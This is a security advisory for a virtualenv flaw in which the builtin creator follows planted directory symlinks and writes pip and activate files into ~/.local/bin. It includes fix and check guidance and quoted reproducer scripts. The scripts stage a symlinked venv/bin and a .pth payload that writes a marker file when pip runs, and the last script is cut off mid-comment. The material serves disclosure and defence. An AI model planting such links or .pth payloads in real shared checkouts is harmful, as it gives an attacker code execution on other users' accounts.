---
id: "CVE-2026-113716"
kind: "vulnerability"
aliases: ["CVE-2026-113716", "GHSA-cw65-gx24-rc82"]
title: "virtualenv: Builtin creation follows linked environment directories"
severity: "medium"
cvss: 4.5
epss: 0.0011699999449774623
exploited: false
status: "open"
category: "package"
products: [{"name": "virtualenv", "fixed": ["21.14.9"], "affected": "< 21.14.9", "ecosystem": "pypi"}]
ecosystems: ["pypi"]
tags: ["ci-runners", "cwe-59", "package", "pypi", "python", "shared-checkouts", "virtualenv"]
not_affected_if: ["fresh-directories-only", "single-owner-parent", "virtualenv-21.14.9-or-later"]
published_at: "2026-10-20T20:17:17+00:00"
first_seen_at: "2026-10-23T19:11:32+00:00"
updated_at: "2026-10-23T21:57:21+00:00"
sources: [{"source": "ghsa", "url": "https://github.com/advisories/GHSA-cw65-gx24-rc82", "first_seen_at": "2026-10-23T19:11:32+00:00"}, {"source": "nvd", "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-113716", "first_seen_at": "2026-10-23T21:57:21+00:00"}]
---

# virtualenv: Builtin creation follows linked environment directories

virtualenv's builtin creator accepts pre-existing directory symlinks in the environment tree and writes interpreter, pip and activate files through them, so files can land outside the requested destination. An attacker who can pre-stage linked entries in a shared destination can get files written into a directory on the user's PATH, such as ~/.local/bin, where a planted .pth file can run code when pip is used.

_Summary, check and fix written by a model from the sources; labelled as such._

## Affected

- pypi:virtualenv affected < 21.14.9 fixed 21.14.9

## How to check

Run pip show virtualenv or check the installed version; affected if below 21.14.9.
In projects built from untrusted or shared checkouts, look for symlinks such as venv/bin with find <dir> -maxdepth 3 -type l.

## Fix

Upgrade virtualenv to 21.14.9 or later (PR #3429).
Create environments in fresh directories under a parent only you control; do not reuse trees prepared by another account.

## Timeline

- 2026-10-23T19:11:32+00:00 ghsa https://github.com/advisories/GHSA-cw65-gx24-rc82
- 2026-10-23T21:57:21+00:00 nvd https://nvd.nist.gov/vuln/detail/CVE-2026-113716

## From the sources

## Summary

The builtin creator accepts existing directory symlinks through ensure_dir() and writes environment files through those
directories. This permits writes outside the requested destination.

Anthropic's OSS Scanner reported this as `ANT-2026-MUFJEG11` in `virtualenv-20261015-005`, received on 15 October 2026.

## Affected area

Directory preparation before environment files are created.

## Attacker-controlled input

Another account must be able to prepare linked entries below the chosen destination before creation. The invoking user
must have access to the linked destination. This does not require write access to the target itself under the other
account.

## Affected code

The relevant 21.14.8 source is in
[builtin creator](https://github.com/pypa/virtualenv/blob/a795ab116356afde11039cf2763d77e8a06da738/src/virtualenv/create/via_global_ref/builtin/via_global_self_do.py),
[ensure_dir()](https://github.com/pypa/virtualenv/blob/a795ab116356afde11039cf2763d77e8a06da738/src/virtualenv/util/path/_sync.py).

## Mechanism

The builtin creator calls `ensure_dir()` for `bin`, `lib`, and package directories. `ensure_dir()` accepts an existing
symlink to a directory because `exists()` follows it. Interpreter creation, seed installation, and activation-script
generation then write through that parent link. A final-file check cannot prevent a write through a linked parent.
`--clear` removes the planted tree first; ordinary creation over a prepared destination reaches it.

## Reproduction and evidence

The scanner's project tree contains `venv/bin -> ../../.local/bin` and a `.pth` file in the environment's package tree.
With the user's initially empty `~/.local/bin` first on `PATH`, `virtualenv venv` exited successfully and wrote
`python*`, `pip*`, and `activate*` into `~/.local/bin`. The marker was absent immediately after creation; a later
`pip --version` on the user's `PATH` loaded the seeded environment and the planted `.pth` code wrote the marker. A
second case began with the `bin` link resolving inside the environment; replacement of a planted package link during
seeding changed where it resolved, and writes again reached `~/.local/bin`.

The attacker must prepare entries in an existing destination. The `.pth` content is already attacker-controlled and
would run if the user used that environment directly; the added effect is creation-time writing or replacement outside
the requested tree and an executable on the user's `PATH` pointing at it. The scanner traces this default builtin path
to 20.0.0b1. [PR #3429](https://github.com/pypa/virtualenv/pull/3429) replaces linked directory components before
creation. Concurrent parent replacement remains a separate case.

## Attack sequence

```mermaid
sequenceDiagram
    participant A as Prepared destination
    participant V as Builtin creator
    participant L as venv/bin symlink
    participant H as ~/.local/bin
    participant U as User
    A->>L: point to ../../.local/bin
    V->>L: ensure_dir accepts existing directory link
    V->>H: write python, pip and activate files through link
    V-->>U: creation reports success
    U->>H: run pip found on PATH
    H->>A: interpreter loads planted .pth
    A-->>U: marker created
```

## Reproducer files

The following files are from the scanner report for `ANT-2026-MUFJEG11`. They were tested against commit `a857a7823c73`
in the scanner image. The `repro` entrypoint expects companion files under `/tmp/repro.d`; cases that change user IDs
need a disposable root-capable container. The last output line is `BUG` when the reported behavior occurs. These files
are included as evidence and were not rerun for this advisory update.

**`repro`**

```text
#!/usr/bin/env python3
import os
import shutil
import subprocess
import sys
from pathlib import Path

WORK = Path("/tmp/planted-bin-link")
shutil.rmtree(WORK, ignore_errors=True)


def user_creates_venv_in_checkout_then_runs_pip(home, make_checkout):
    local_bin = home / ".local/bin"
    user_env = {"HOME": str(home), "PATH": f"{local_bin}:{os.environ['PATH']}"}
    local_bin_before = set(os.listdir(local_bin))
    payload_marker = home / "PWNED"

    # the attacker's checkout arrives at ~/project
    subprocess.run([sys.executable, f"/tmp/repro.d/{make_checkout}", home / "project"], check=True)
    venv = home / "project/venv"
    print(f"CONTROL  venv/bin before the run resolves to {os.path.realpath(venv / 'bin')}")

    # default options; the flag only keeps the run off the network
    subprocess.run(["virtualenv", "--no-periodic-update", "--quiet", "venv"], cwd=home / "project", env=user_env, check=True)
    written = sorted(set(os.listdir(local_bin)) - local_bin_before)
    payload_ran_at_creation = payload_marker.exists()
    print(f"OBSERVED venv/bin after the run resolves to  {os.path.realpath(venv / 'bin')}")
    print(f"OBSERVED virtualenv wrote to {local_bin}: {written}")
    print(f"OBSERVED ~/PWNED exists after virtualenv: {payload_ran_at_creation}")

    # later, in another folder, the user runs pip
    pip = subprocess.run(["pip", "--version"], cwd=home, env=user_env, capture_output=True, text=True)
    print(f"OBSERVED pip --version: {(pip.stdout + pip.stderr).strip()}")
    print(f"OBSERVED ~/PWNED exists after pip: {payload_marker.exists()}")
    return written, payload_marker.exists() and not payload_ran_at_creation


print("--- checkout_with_bin_link.py: venv/bin -> ../../.local/bin")
home = WORK / "bin-link"
(home / ".local/bin").mkdir(parents=True)
written_1, pip_ran_payload_1 = user_creates_venv_in_checkout_then_runs_pip(home, "checkout_with_bin_link.py")

print("--- checkout_with_bin_link_staying_inside.py: venv/bin resolves inside venv/ until pip is seeded")
home = WORK / "bin-link-staying-inside"
(home / ".local/bin").mkdir(parents=True)
# python is linked before the bin link leads out, so the pip written to ~/.local/bin needs the user's own python there
(home / ".local/bin/python").symlink_to("/usr/local/bin/python3")
written_2, pip_ran_payload_2 = user_creates_venv_in_checkout_then_runs_pip(home, "checkout_with_bin_link_staying_inside.py")

# check: virtualenv must write nothing outside ~/project/venv, let alone a pip that runs the checkout's .pth
plain_link_followed = {"pip", "activate"} <= set(written_1) and pip_ran_payload_1
link_staying_inside_followed = {"pip", "activate"} <= set(written_2) and pip_ran_payload_2
print("---")
print(f"OBSERVED first checkout: pip, activate written to ~/.local/bin and pip ran the payload: {plain_link_followed}")
print(f"OBSERVED second checkout: pip, activate written to ~/.local/bin and pip ran the payload: {link_staying_inside_followed}")
print("BUG" if plain_link_followed or link_staying_inside_followed else "OK")
```

**`repro.d/checkout_with_bin_link.py`**

```text
import sys
from pathlib import Path

venv = Path(sys.argv[1]) / "venv"

# one per minor version: the attacker does not know which Python the user has
for minor in range(9, 20):
    site_packages = venv / f"lib/python3.{minor}/site-packages"
    site_packages.mkdir(parents=True)
    (site_packages / "payload.pth").write_text("import os; open(os.path.expanduser('~/PWNED'), 'w').write(os.getcwd())\n")

# relative to a checkout at ~/project
(venv / "bin").symlink_to("../../.local/bin")
```

**`repro.d/checkout_with_bin_link_staying_inside.py`**

```text
import sys
from pathlib import Path

venv = Path(sys.argv[1]) / "venv"

site_packages = venv / "lib/py/site-packages"
site_packages.mkdir(parents=True)
(site_packages / "payload.pth").write_text("import os; open(os.path.expanduser('~/PWNED'), 'w').write(os.getcwd())\n")
for minor in range(9, 20):
    (venv / f"lib/python3.{minor}").symlink_to("py")

# pip -> a folder 7 levels below venv/; the real pip folder the seeder puts in its place is only 4 levels below
(venv / "1/2/3/4/5/6/7").mkdir(parents=True)
(site_packages / "pip").symlink_to("../../../1/2/3/4/5/6/7")

# six levels up from venv/1/2/3/4/5/6/7 is venv/1; six levels up from ~/project

---

_Free to read at a human pace. An API with keys and an MCP server are in preparation; early access: hello@infrastack.ai_
